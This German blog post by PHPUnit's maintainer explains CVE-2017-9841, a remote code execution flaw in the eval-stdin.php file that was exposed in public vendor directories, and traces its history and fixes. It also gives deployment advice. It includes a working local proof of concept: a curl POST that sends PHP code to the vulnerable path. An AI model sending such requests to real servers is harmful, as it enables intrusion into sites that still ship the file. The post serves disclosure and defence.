PHPUnit: Ein Sicherheitsrisiko?

Sebastian Bergmann |

Eine Woche vor Weihnachten 2017 erreichte mich eine E-Mail mit folgendem Betreff: "eine Datei von Sebastian Bergmann PHP Unit führt zu Totalausfall" (sic).

Hacker

Der Absender dieser E-Mail war der bei einem Juwelier für den Betrieb des Online-Shops verantwortliche Mitarbeiter. In seiner E-Mail schrieb er unter anderem "[unser Hostinganbieter] hat unsere Domain mitten im Weihnachtsgeschäft geschlossen" und weiter "hier geht gerade ordentlich Geschäft verloren".

Was war passiert? Ist PHPUnit etwa ein Sicherheitsrisiko? Hatte ich gar versucht, den Online-Shop des Juweliers zu hacken? In diesem Artikel möchte ich diesen Fragen nachgehen.

Aus der E-Mail konnte ich schließen, dass der Online-Shop des Juweliers auf Wordpress und dem WooCommerce-Plugin für Wordpress sowie dem Google ProductFeed-Plugin für WooCommerce basiert. Eine oder mehrere dieser Komponenten wurde zusammen mit (einer veralteten Version von) PHPUnit ausgeliefert, welche die Datei eval-stdin.php beinhaltete. Der Hostinganbieter des Juweliers hat im Zuge einer automatisierten Suche nach Dateien, die bekannte Sicherheitslücken wie beispielsweise CVE-2017-9841 enthalten, eval-stdin.php entdeckt, den Host des Juweliers offline genommen sowie den Verantwortlichen über diesen Schritt informiert.

Der verantwortliche Mitarbeiter des Juweliers schaute sich den Inhalt der Datei eval-stdin.php an. Schließlich hatte sich der Hostinganbieter explizit auf diese Datei bezogen. In dieser Datei fand er den Copyright-Header "This file is part of PHPUnit. (c) Sebastian Bergmann <sebastian@phpunit.de>". Daraufhin schrieb er mir seine E-Mail. In dem Glauben, ich wäre dafür verantwortlich, dass die Datei auf seinem Webserver vorhanden ist.

Die Geschichte von eval-stdin.php

Die Datei eval-stdin.php war im November 2015 zu PHPUnit hinzugefügt worden, um Tests auch dann in separaten PHP-Prozessen ausführen zu können, wenn anstelle des reguären Kommandozeileninterpreters (php) der PHP-Debugger phpdbg verwendet wird.

eval-stdin.php enthielt ursprünglich nur eine Zeile PHP-Code:

1
eval ( '?>'   .   \ file_get_contents ( 'php://input' ) ) ;

Wird die oben gezeigte Codezeile vom PHP-Kommandozeileninterpreter ausgeführt, so tut sie genau das, was man sich vielleicht schon aufgrund des Dateinamens denken kann: sie führt PHP-Code aus, der vom Standard-Datenstrom für Eingabe (Englisch: "Standard Input", stdin) gelesen wird. Dieses Ausführen von Code, der von stdin gelesen wird, stellt kein Sicherheitsrisiko dar, wenn PHPUnit in einer Entwicklungsumgebung auf der Kommandozeile verwendet wird. Und nur dort soll PHPUnit ausgeführt werden.

Die Dokumentation von PHPUnit ist hierzu eindeutig:

PHPUnit is a framework for writing as well as a commandline tool for running tests. Writing and running tests is a development-time activity. There is no reason why PHPUnit should be installed on a webserver. If you upload PHPUnit to a webserver then your deployment process is broken. On a more general note, if your vendor directory is publicly accessible on your webserver then your deployment process is also broken. Please note that if you upload PHPUnit to a webserver “bad things” may happen. You have been warned.

Legt man eval-stdin.php öffentlich zugreifbar auf einen Webserver, so kann diese Datei für einen Remote Code Execution Angriff genutzt werden, da in diesem Kontext über php://input auf Daten zugegriffen wird, die beispielsweise bei einem HTTP POST-Request vom HTTP-Client an den Webserver übermittelt wurden. Am 27. Juni 2017 wurde für diesen Angriffsvektor der bereits weiter oben erwähnte Eintrag CVE-2017-9841 in der "Common Vulnerabilities and Exposures" Datenbank veröffentlicht.

Aber wie lässt sich CVE-2017-9841 nun ausnutzen?

Zunächst erstellen wir ein Verzeichnis, in dem wir arbeiten:

$ mkdir /tmp/CVE-2017-9841 $ cd /tmp/CVE-2017-9841

Jetzt installieren wir PHPUnit 5.6.2 mit Hilfe von Composer:

$ composer require --dev phpunit/phpunit:5.6.2

Die am 25. Oktober 2016 veröffentlichte Version 5.6.2 ist die letzte Version von PHPUnit, die in eval-stdin.php auf php://input zugreift.

Jetzt können wir den im PHP-Kommandozeileninterpreter eingebauten Webserver verwenden, um den Inhalt unseres Verzeichnisses über localhost:8080 zugreifbar zu machen:

$ php -S localhost:8080 -t .

In einer anderen Shell können wir schließlich einen HTTP POST-Request mit PHP-Code als Payload absetzen:

$ curl --data "<?php print str_rot13('V pna erzbgryl rkrphgr CUC pbqr ba lbhe freire');" http://localhost:8080/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

Als Nachweis, dass eine Remote Code Execution möglich ist, erhalten wir folgende Ausgabe:

I can remotely execute PHP code on your server

Am 13. November 2016 wurde die eine Codezeile von eval-stdin.php geändert:

1
eval ( '?>'   .   \ file_get_contents ( 'php://stdin' ) ) ;

Mit der Änderung von php://input auf php://stdin wurde ein Problem, das nicht sicherheitsrelevant ist, in eval-stdin.php behoben: Tests, die in einem separaten PHP-Prozess ausgeführt werden sollen, wurden gar nicht ausgeführt. Aber nur weil eine Codeänderung nicht durch ein Sicherheitsproblem motiviert ist, bedeutet das nicht, dass sie keine sicherheitsrelevanten Auswirkungen hat.

Am 10. Dezember 2019 habe ich eine explizite Abfrage in das Skript eingebaut, die eine Ausführung von eval-stdin.php nur im Kontext der Kommandozeile erlaubt:

1 2 3 4 5
if   ( \ PHP_SAPI   !==   'cli'   &&   \ PHP_SAPI   !==   'phpdbg' )   {
     exit ( 1 ) ;
}

eval ( '?>'   .   \ file_get_contents ( 'php://stdin' ) ) ;

Ich habe diese Änderung nicht gemacht, weil mir eine Möglichkeit bekannt gewesen wäre, den Code vor dieser Änderung für eine Remote Code Execution auszunutzen. Von dieser Möglichkeit erfuhr ich erst später in einem Kommentar zu der oben gezeigten Codeänderung.

Der php://input Datenstrom erlaubt den Zugriff auf eine HTTP Post-Payload unabhängig davon, wie PHP in den Webserver angebunden ist. Es spielt hierbei keine Rolle, ob PHP beispielsweise als Modul in den Apache HTTPD geladen ist oder von einem Webserver wie nginx per FastCGI verwendet wird.

Über den php://stdin Datenstrom kann nur dann auf eine HTTP Post-Payload zugegriffen werden, wenn PHP über CGI oder FastCGI vom Webserver verwendet wird. Ich war mir nicht sicher, ob php://stdin sich wirklich so verhält, und habe daher bei PHP-Kernentwicklern nachgefragt. Joe Watkins und Christoph M. Becker konnten mir bestätigen, dass sich php://stdin so verhält und sich die Implementierung nach den Spezifikationen für CGI und FastCGI richtet, die einen Zugriff auf die Request-Payload über den Standardeingabestrom vorsehen.

Im Nachhinein ist man immer schlauer und wahrscheinlich wäre es sinnvoll gewesen, die Ausführung von eval-stdin.php von Anfang an auf cli und phpdbg zu beschränken. Allerdings sollte eine solche Beschränkung gar nicht erst notwendig sein, da es keinen Grund gibt, PHPUnit außerhalb der Kontexte Entwicklungsumgebung und Kommandozeile auszuführen. Es ist vielmehr unverantwortlich, wenn PHPUnit in anderen als den genannten Kontexten verfügbar ist.

Spätfolgen

Der Hersteller von PrestaShop, einer Open Source E-Commerce Software, hat mich am 6. Januar 2020 kontaktiert. Man informierte mich, dass eval-stdin.php für Remote Code Execution ausgenutzt werden kann, wenn PHPUnit öffentlich auf einem Webserver zugänglich ist und PHP über FastCGI mit diesem Webserver integriert ist.

Am 7. Januar 2020 wurde eine kritische Sicherheitslücke in PrestaShop bekannt. Die Ursache für diese Sicherheitslücke war die Tatsache, dass PrestaShop zusammen mit PHPUnit und dem darin enthaltenen eval-stdin.php Skript ausgeliefert wurde.

Ich habe untersucht, was nötig wäre, um eval-stdin.php aus PHPUnit zu entfernen. Dabei stellte ich mit Verwunderung fest, dass die Datei bereits seit Juli 2018 nicht mehr verwendet wurde.

Es ärgert mich, dass mir im Juli 2018 nicht aufgefallen ist, dass eval-stdin.php gelöscht werden kann. Seit den Versionen PHPUnit 7.5.20 und PHPUnit 8.5.2, die am 8. Januar 2020 veröffentlicht wurden, ist die Datei eval-stdin.php endlich nicht mehr Bestandteil von PHPUnit.

Und die Moral von der Geschicht'

Ganz egal, wie PHP mit einem Webserver integriert wird, beispielsweise als Modul für Apache HTTPD oder mit PHP-FPM und nginx, an zwei wichtige Regeln muss man sich beim Deployment von PHP-Anwendungen halten:

  • Das von Composer verwaltete vendor Verzeichnis darf nicht öffentlich zugreifbar sein. Es muss daher außerhalb des so genannten "Document Root" liegen. Und sollte dies nicht möglich sein, dann muss der öffentliche Zugriff auf dieses Verzeichnis zumindest über die Konfiguration des Webserver unterbunden werden.
  • Eine Abhängigkeit wie PHPUnit, die nur für die Arbeit an der Software aber nicht für deren Betrieb benötigt wird, hat nicht auf dem Produktivsystem vorhanden zu sein.

Ich empfinde Mitleid für jeden, bei dem durch die Installation von beispielsweise PrestaShop oder WooCommerce eine Version von PHPUnit mit angreifbarer eval-stdin.php Datei auf dem Webserver gelandet ist.

Allerdings finde ich es verantwortungslos, wenn die Hersteller solcher Standardlösungen, die sich insbesondere an Endanwender wie den eingangs erwähnten Juwelier richten, ihre Software mit Abhängigkeiten wie PHPUnit im vendor Verzeichnis ausliefern und die Anwender dazu auffordern, diese in das Document Root eines öffentlich zugänglichen Webservers hochzuladen.